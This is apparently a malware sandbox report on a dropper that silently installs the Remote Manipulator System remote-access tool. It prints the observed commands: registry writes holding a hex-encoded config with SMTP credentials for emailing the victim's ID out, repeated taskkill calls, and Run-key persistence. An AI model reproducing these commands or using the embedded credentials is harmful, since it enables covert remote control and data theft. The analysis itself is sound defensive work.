PID 1624 wrote to memory of 916	1624	cmd.exe	111
PID 1624 wrote to memory of 916	1624	cmd.exe	111
PID 1624 wrote to memory of 1516	1624	cmd.exe	112
PID 1624 wrote to memory of 1516	1624	cmd.exe	112
PID 1624 wrote to memory of 1516	1624	cmd.exe	112
PID 1624 wrote to memory of 1516	1624	cmd.exe	112
PID 1624 wrote to memory of 1740	1624	cmd.exe	113
PID 1624 wrote to memory of 1740	1624	cmd.exe	113
PID 1624 wrote to memory of 1740	1624	cmd.exe	113
PID 1624 wrote to memory of 1740	1624	cmd.exe	113
PID 1624 wrote to memory of 924	1624	cmd.exe	114
PID 1624 wrote to memory of 924	1624	cmd.exe	114
PID 1624 wrote to memory of 924	1624	cmd.exe	114
PID 1624 wrote to memory of 924	1624	cmd.exe	114
PID 1624 wrote to memory of 976	1624	cmd.exe	115
PID 1624 wrote to memory of 976	1624	cmd.exe	115
PID 1624 wrote to memory of 976	1624	cmd.exe	115
PID 1624 wrote to memory of 976	1624	cmd.exe	115
PID 1624 wrote to memory of 1752	1624	cmd.exe	116
PID 1624 wrote to memory of 1752	1624	cmd.exe	116
PID 1624 wrote to memory of 1752	1624	cmd.exe	116
PID 1624 wrote to memory of 1752	1624	cmd.exe	116
PID 1624 wrote to memory of 1532	1624	cmd.exe	117
PID 1624 wrote to memory of 1532	1624	cmd.exe	117
PID 1624 wrote to memory of 1532	1624	cmd.exe	117
PID 1624 wrote to memory of 1532	1624	cmd.exe	117
PID 1624 wrote to memory of 1200	1624	cmd.exe	118
PID 1624 wrote to memory of 1200	1624	cmd.exe	118
PID 1624 wrote to memory of 1200	1624	cmd.exe	118
PID 1624 wrote to memory of 1200	1624	cmd.exe	118
PID 1624 wrote to memory of 324	1624	cmd.exe	119
PID 1624 wrote to memory of 324	1624	cmd.exe	119
PID 1624 wrote to memory of 324	1624	cmd.exe	119
PID 1624 wrote to memory of 324	1624	cmd.exe	119
PID 1624 wrote to memory of 1096	1624	cmd.exe	120
PID 1624 wrote to memory of 1096	1624	cmd.exe	120
PID 1624 wrote to memory of 1096	1624	cmd.exe	120
PID 1624 wrote to memory of 1096	1624	cmd.exe	120
PID 1624 wrote to memory of 832	1624	cmd.exe	121
PID 1624 wrote to memory of 832	1624	cmd.exe	121
PID 1624 wrote to memory of 832	1624	cmd.exe	121
PID 1624 wrote to memory of 832	1624	cmd.exe	121
PID 1624 wrote to memory of 1880	1624	cmd.exe	122
PID 1624 wrote to memory of 1880	1624	cmd.exe	122
PID 1624 wrote to memory of 1880	1624	cmd.exe	122
PID 1624 wrote to memory of 1880	1624	cmd.exe	122
PID 1624 wrote to memory of 1136	1624	cmd.exe	123
PID 1624 wrote to memory of 1136	1624	cmd.exe	123
PID 1624 wrote to memory of 1136	1624	cmd.exe	123
PID 1624 wrote to memory of 1136	1624	cmd.exe	123
PID 1624 wrote to memory of 1328	1624	cmd.exe	124
PID 1624 wrote to memory of 1328	1624	cmd.exe	124
PID 1624 wrote to memory of 1328	1624	cmd.exe	124
PID 1624 wrote to memory of 1328	1624	cmd.exe	124
PID 1624 wrote to memory of 1320	1624	cmd.exe	125
PID 1624 wrote to memory of 1320	1624	cmd.exe	125
PID 1624 wrote to memory of 1320	1624	cmd.exe	125
PID 1624 wrote to memory of 1320	1624	cmd.exe	125
PID 1624 wrote to memory of 1772	1624	cmd.exe	126
PID 1624 wrote to memory of 1772	1624	cmd.exe	126
PID 1624 wrote to memory of 1772	1624	cmd.exe	126
PID 1624 wrote to memory of 1772	1624	cmd.exe	126
PID 1624 wrote to memory of 1808	1624	cmd.exe	127
PID 1624 wrote to memory of 1808	1624	cmd.exe	127
PID 1624 wrote to memory of 1808	1624	cmd.exe	127
PID 1624 wrote to memory of 1808	1624	cmd.exe	127
PID 1624 wrote to memory of 848	1624	cmd.exe	128
PID 1624 wrote to memory of 848	1624	cmd.exe	128
PID 1624 wrote to memory of 848	1624	cmd.exe	128
PID 1624 wrote to memory of 848	1624	cmd.exe	128
PID 1624 wrote to memory of 980	1624	cmd.exe	129
PID 1624 wrote to memory of 980	1624	cmd.exe	129
PID 1624 wrote to memory of 980	1624	cmd.exe	129
PID 1624 wrote to memory of 980	1624	cmd.exe	129
PID 1624 wrote to memory of 1548	1624	cmd.exe	130
PID 1624 wrote to memory of 1548	1624	cmd.exe	130
PID 1624 wrote to memory of 1548	1624	cmd.exe	130
PID 1624 wrote to memory of 1548	1624	cmd.exe	130
PID 1624 wrote to memory of 816	1624	cmd.exe	131
PID 1624 wrote to memory of 816	1624	cmd.exe	131
PID 1624 wrote to memory of 816	1624	cmd.exe	131
PID 1624 wrote to memory of 816	1624	cmd.exe	131
PID 1624 wrote to memory of 1492	1624	cmd.exe	132
PID 1624 wrote to memory of 1492	1624	cmd.exe	132
PID 1624 wrote to memory of 1492	1624	cmd.exe	132
PID 1624 wrote to memory of 1492	1624	cmd.exe	132
PID 1624 wrote to memory of 1740	1624	cmd.exe	133
PID 1624 wrote to memory of 1740	1624	cmd.exe	133
PID 1624 wrote to memory of 1740	1624	cmd.exe	133
PID 1624 wrote to memory of 1740	1624	cmd.exe	133
PID 1624 wrote to memory of 924	1624	cmd.exe	134
PID 1624 wrote to memory of 924	1624	cmd.exe	134
PID 1624 wrote to memory of 924	1624	cmd.exe	134
PID 1624 wrote to memory of 924	1624	cmd.exe	134
PID 1624 wrote to memory of 976	1624	cmd.exe	135
PID 1624 wrote to memory of 976	1624	cmd.exe	135
PID 1624 wrote to memory of 976	1624	cmd.exe	135
PID 1624 wrote to memory of 976	1624	cmd.exe	135
PID 1624 wrote to memory of 948	1624	cmd.exe	136
PID 1624 wrote to memory of 948	1624	cmd.exe	136
PID 1624 wrote to memory of 948	1624	cmd.exe	136
PID 1624 wrote to memory of 948	1624	cmd.exe	136
PID 1624 wrote to memory of 1620	1624	cmd.exe	137
PID 1624 wrote to memory of 1620	1624	cmd.exe	137
PID 1624 wrote to memory of 1620	1624	cmd.exe	137
PID 1624 wrote to memory of 1620	1624	cmd.exe	137
PID 1624 wrote to memory of 972	1624	cmd.exe	138
PID 1624 wrote to memory of 972	1624	cmd.exe	138
PID 1624 wrote to memory of 972	1624	cmd.exe	138
PID 1624 wrote to memory of 972	1624	cmd.exe	138
PID 1624 wrote to memory of 432	1624	cmd.exe	139
PID 1624 wrote to memory of 432	1624	cmd.exe	139
PID 1624 wrote to memory of 432	1624	cmd.exe	139
PID 1624 wrote to memory of 432	1624	cmd.exe	139
PID 1624 wrote to memory of 340	1624	cmd.exe	140
PID 1624 wrote to memory of 340	1624	cmd.exe	140
PID 1624 wrote to memory of 340	1624	cmd.exe	140
PID 1624 wrote to memory of 340	1624	cmd.exe	140
PID 1624 wrote to memory of 1872	1624	cmd.exe	141
PID 1624 wrote to memory of 1872	1624	cmd.exe	141
PID 1624 wrote to memory of 1872	1624	cmd.exe	141
PID 1624 wrote to memory of 1872	1624	cmd.exe	141
PID 1624 wrote to memory of 1516	1624	cmd.exe	142
PID 1624 wrote to memory of 1516	1624	cmd.exe	142
PID 1624 wrote to memory of 1516	1624	cmd.exe	142
PID 1624 wrote to memory of 1516	1624	cmd.exe	142

C:\Users\Admin\AppData\Local\Temp\ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe
"C:\Users\Admin\AppData\Local\Temp\ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Users\Admin\AppData\Local\Temp\is-MPQAC.tmp\ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-MPQAC.tmp\ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp" /SL5="$20158,4482184,721408,C:\Users\Admin\AppData\Local\Temp\ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c ping -n 2 Ping-ip.hldns.ru|find "TTL="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:776
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 2 Ping-ip.hldns.ru
      4⤵
      Runs ping.exe
      PID:1724
  - - C:\Windows\SysWOW64\find.exe
      find "TTL="
      4⤵
      PID:980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C ""C:\ProgramData\Immunity\install.cmd""
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1624
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Host\Parameters" /f /v "notification" /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313038223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b43434136343745432d313543392d344239392d424538332d4337434346423645353244337d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393130383c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e534d54502e79616e6465782e72753c2f686f73743e3c706f72743e3538373c2f706f72743e3c757365726e616d653e736368616b75726f784079616e6465782e72753c2f757365726e616d653e3c70617373776f72643e6f4e33396a3138786771536a33654b5057444744704b76646a6f38384d66536d3c2f70617373776f72643e3c66726f6d5f656d61696c3e736368616b75726f784079616e6465782e72753c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e706175373838377061754079616e6465782e72753c2f656d61696c3e3c7375626a6563743e496e7465726e65742d494420d181d0b3d0b5d0bdd0b5d180d0b8d180d0bed0b2d0b0d0bd3a20254944253c2f7375626a6563743e3c746578743e2c2c2671756f743b49443a20254944252671756f743b2c2671756f743bd0a1d0b5d180d0b2d0b5d1803a2025534552564552252671756f743b2c2c2671756f743bd098d0bcd18f20d0bfd0bed0bbd18cd0b7d0bed0b2d0b0d182d0b5d0bbd18f3a2025555345524e414d45252671756f743b2c2671756f743bd09dd0b0d0b7d0b2d0b0d0bdd0b8d0b520d0bad0bed0bcd0bfd18cd18ed182d0b5d180d0b03a2025434f4d504e414d45252671756f743b2c2671756f743bd09fd0bed0bbd18cd0b7d0bed0b2d0b0d182d0b5d0bbd18c20d0bfd180d0b5d0b4d181d182d0b0d0b2d0b8d0bbd181d18f20d0bad0b0d0ba3a202553454c464944252671756f743b2c3c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\timeout.exe
      TIMEOUT /T 3
      4⤵
      Delays execution with timeout.exe
      PID:1124
  - - C:\ProgramData\Immunity\rutserv.exe
      "C:\ProgramData\Immunity\rutserv.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:324
    - - C:\ProgramData\Immunity\rutserv.exe
        
        C:\ProgramData\Immunity\rutserv.exe -second
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:328
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1900
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1620
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1636
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1700
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1484
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1896
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1644
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1352
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:404
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1716
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1900
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1620
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1156
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:512
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:920
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1864
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1492
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1892
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:976
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1800
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1964
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1716
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1760
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1276
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:964
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1620
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1708
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1872
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1068
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1864
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1636
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1960
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1500
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:976
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1200
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1096
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:832
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:1136
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1328
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1772
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1548
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:816
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1492
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:976
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1620
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:340
  - - C:\Windows\SysWOW64\timeout.exe
      TIMEOUT /T 9
      4⤵
      Delays execution with timeout.exe
      PID:1872
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "nots" /t REG_SZ /d "C:\ProgramData\Immunity\rutserv.exe"
      4⤵
      Adds Run key to start application
      PID:1516

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/324-20-0x0000000003F80000-0x0000000003F91000-memory.dmp

Filesize
68KB

Download
memory/324-21-0x0000000004390000-0x00000000043A1000-memory.dmp

Filesize
68KB

Download
memory/324-22-0x0000000003F80000-0x0000000003F91000-memory.dmp

Filesize
68KB

Download
memory/328-512-0x0000000004CF0000-0x0000000004D01000-memory.dmp

Filesize
68KB

Download
memory/328-467-0x0000000003EB0000-0x0000000003EC1000-memory.dmp

Filesize
68KB

Download
